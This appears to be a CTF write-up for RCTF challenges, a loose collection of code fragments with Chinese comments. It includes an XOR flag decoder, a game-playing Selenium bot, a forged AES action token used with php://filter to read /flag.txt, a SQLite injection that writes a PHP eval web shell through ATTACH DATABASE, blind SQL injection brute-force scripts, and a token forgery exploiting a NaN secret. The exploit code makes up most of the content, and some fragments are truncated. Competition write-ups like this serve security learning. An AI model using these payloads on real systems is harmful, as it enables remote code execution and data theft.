-x XCOORDINATE  自动读取图片并尝试爆破横向光栅图
-y YCOORDINATE  自动读取图片并尝试爆破纵向光栅图

mmm = [0x35,0x3f,0x4e,0x2b,0x56,0x6b,0x74,0x6a,0x5d,0x6d,0x6f,0x73,0x6c,0x77,0x38,0x68,0x59,0x6e,0x20,0x21,0x3c,0x71,0x4f,0x09,0x36,0x7d,0x55,0x72,0x51,0x32,0x27,0x66]
enc = [0x0c,0x0f,0x2b,0x48,0x6f,0x5d,0x46,0x53,0x64,0x59,0x59,0x4b,0x5f,0x47,0x5b,0x5b,0x6b,0x5f,0x15,0x16,0x5d,0x12,0x76,0x6b,0x07,0x1b,0x33,0x4a,0x67,0x07,0x11,0x0]
flag=[]
for i in range(len(mmm)):
        flag.append(chr(mmm[i]^enc[i]))
flag=''.join(flag)
print("RCTF{"+flag+"}")

from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import time


driver = webdriver.Chrome()


driver.get('http://124.71.164.28:10088/')

time.sleep(60)

start_button = WebDriverWait(driver, 10).until(
    EC.element_to_be_clickable((By.CLASS_NAME, 'play-btn'))
)
start_button.click()

i = 0

while True:
    try:
        
        i = i + 1
        boxes = WebDriverWait(driver, 10).until(
            EC.presence_of_all_elements_located((By.XPATH, '//*[@id="box"]/*'))
        )

        
        found = False
        for i in range(len(boxes) - 1):
            if boxes[i].get_attribute('style') != boxes[i + 1].get_attribute('style'):
                if i + 2 < len(boxes) and boxes[i].get_attribute('style') != boxes[i + 2].get_attribute('style'):
                    boxes[i].click()
                else:
                    boxes[i + 1].click()
                found = True
                break
        
        if not found:
            
            if len(boxes) > 1:
                boxes[-1].click()
                t2 = time.time()
                
    except Exception as e:
        print(f"An error occurred: {e}")
        time.sleep(20)
        continue

print("Done")

const CryptoJS = require('crypto-js');

function _0x443f31(_0x1de1a8) {
    var _0x1de1a8 = 'checkImage';
    var _0x4b1cba = "88b4dbc541cd57f2d55398e9be3e61ae";
    var _0xdc28e0 = "41cd57f2d55398e9";
    return CryptoJS.AES.encrypt(_0x1de1a8, CryptoJS.enc.Utf8.parse(_0x4b1cba), {
      iv: CryptoJS.enc.Utf8.parse(_0xdc28e0),
      mode: CryptoJS.mode.CBC,
      padding: CryptoJS.pad.Pkcs7
    }).toString();
}

console.log(_0x443f31());
//xEt6B2i+YJdcrJ/RG3Ie4Q==

tick: function () {
      if (this._pause) {
        return undefined;
      } else {
        this.time++;
        
        if (this.time < 6) {
          _0x4b69a3.time.addClass("danger");
        }
        if(this.time>1200){
          this.gameOver();
          return;
        }
        if (this.time < 0) {
          this.gameOver();
          return;
        } else {
          _0x4b69a3.time.text(parseInt(this.time));
          return;
        }
      }

else if($action === "checkImage"){

        try {

            $upload_image = file_get_contents($_FILES["image"]["tmp_name"]);

            echo getimagesize($upload_image);

def req(s):
	data = {"action": "xEt6B2i+YJdcrJ/RG3Ie4Q=="}
	string_content = f"php://filter/{s}/resource=/flag.txt"
	files = {'image': string_content}
	res=requests.post('http://124.71.164.28:10088/final/game.php', data=data,files=files)
	return 'Fatal' in res.text

public function execMultiSQL($arysql){

        try{

            $this->dm_handler->beginTransaction();

            foreach($arysql as $asql){

                $result=$this->dm_handler->exec($asql);

            }

            #只要有一个报错 就会到catch块中不会commit提交数据真正改变数据库

            $this->dm_handler->commit();

            return TRUE;

        }

        catch(PDOException $exception) {

            $this->dm_handler->rollBack();

            return FALSE;

        }

    }

$arysql[] = "INSERT OR REPLACE INTO CacheMain VALUES ('".$sess."', ".time().")";

    $arysql[] = "INSERT INTO CacheDetail VALUES ('".$sess."', '".$BE."')";

    #闭合方式:1');CREATE TABLE J1rrY (t TEXT);--+-

    $arysql[] = "CREATE TABLE Cache_".$sess."_".$BE." (t TEXT)";

    #直接将其嵌入到 SQL 语句

    $arysql[] = "INSERT INTO Cache_".$sess."_".$BE." VALUES('".$ProxyObj->body."')";

    $DbObj->execMultiSQL($arysql);

 VALUES('".$ProxyObj->body."')";

<?php

echo "');ATTACH DATABASE '/var/www/html/shell.php' AS shell;create TABLE shell.exp (payload text); insert INTO shell.exp (payload) VALUES ('<?php eval(\$_POST[1]); ?>');--+-";

?>

db.query(

  "CREATE TABLE IF NOT EXISTS key1 (id INT AUTO_INCREMENT PRIMARY KEY,love_key VARCHAR(255) NOT NULL)"

);

db.query(

  "INSERT INTO key1 (love_key) VALUES('RCTF{key1')"

  //向 key1表中插入 love_key的值

 let res1 = `SELECT * FROM key1 WHERE love_key = '${key1}'`;

  db.query(`SELECT * FROM key1 WHERE love_key = '${key1}'`, (err, results) => {

    //很显然我们不知道love_key的具体值

    if (err) {

      res.send("error");

    } else if (results.length > 0) {

      res.send("success");//布尔盲注

    } else {

      res.send("wrong");

    }

import requests
url="http://1.94.13.174:10088/key1"
strs='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_ {}!@$%&()#'
flag=""
while True:
    for i in strs:
        data={"key1":f"1' || love_key regexp binary '^{flag+i}'#"}
        res=requests.post(url=url,data=data)
        if "success" in res.text:
            flag+=i
            print(flag)
        

import requests
url="http://1.94.13.174:10088/key1"
strs='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890-_ {}!@%&()#'
flag=""
while True:
    for i in strs:
        #data={"key1":f"1' || love_key regexp binary '^{flag+i}'#"}
        data={"key1":f"1' || love_key regexp binary '{i+flag}$'#"}
        res=requests.post(url=url,data=data)
        if "success" in res.text:
            flag=i+flag
            print(flag)

const createToken = (userinfo) => {

  const saltedSecret =

    parseInt(Buffer.from(secret).readBigUInt64BE()) +

    parseInt(userinfo.love_time);

  const data = JSON.stringify(userinfo);

  return (

    Buffer.from(data).toString("base64") + "." + hash(`${data}:${saltedSecret}`)

  );

};

const crypto = require("crypto");
const secret = crypto.randomBytes(128);
love_time=null
const saltedSecret =
    parseInt(Buffer.from(secret).readBigUInt64BE()) +
    parseInt(love_time);
console.log(saltedSecret);

const crypto = require("crypto");

const secret = crypto.randomBytes(128);

const hash = (data) => crypto.createHash("sha256").update(data).digest("hex");

userinfo={"username":"J1rrY","love_time":null,"have_lovers":true}

const saltedSecret =NaN;

console.log(saltedSecret)

const data = JSON.stringify(userinfo);

console.log(data)

console.log(Buffer.from(data).toString("base64") + "." + hash(`${data}:${saltedSecret}`))